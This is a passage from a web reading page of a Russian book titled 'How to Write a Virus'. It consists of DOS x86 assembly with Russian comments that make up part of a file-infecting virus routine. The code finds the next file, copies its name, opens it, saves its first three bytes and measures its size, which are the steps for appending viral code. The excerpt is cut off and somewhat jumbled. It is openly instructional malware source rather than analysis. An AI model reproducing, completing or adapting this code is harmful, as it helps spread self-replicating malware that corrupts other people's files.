"Игорь Коваль. Как написать вирус" - читать интересную книгу автора ;крыть !
r_2: mov ah,4fh ;И найдем сле- int 21h ;дующий ... jnc r_3 ;Файл найден ! jmp restore_dta ;Ошибка ! r_3: mov cx,12 ;Сотрем в буфере lea si,fn ;"fn" имя пред- destroy_name: ;ыдущего файла mov byte ptr [si],0 ; inc si ; loop destroy_name ;Цикл 12 раз ... xor si,si ;И запишем в бу- copy_name: mov al,byte ptr cs:[si+9eh] ;фер имя только cmp al,0 ;что найденного ;файла ... je open ;В конце имени в mov byte ptr ds:fn[si],al ;DTA всегда сто- inc si ;ит ноль, его мы jmp copy_name ;и хотим достичь ;для чтения и ;записи ... lea dx,fn ;Имя файла ... int 21h ;Функция DOS jnc save_bytes jmp restore_dta ;Файл не откры- ;вается ! save_bytes: ;Считаем три ;байта : mov bx,ax ;Сохраним дес- ;криптор в BX mov ah,3fh ;Номер функции mov cx,3 ;Сколько байт ? lea dx,old_bytes ;Буфер для счи- ;тываемых данных int 21h jnc found_size jmp close ;Ошибка ! found_size: mov ax,cs:[09ah] ;Найдем размер ;файла count_size:mov si,ax |
|
|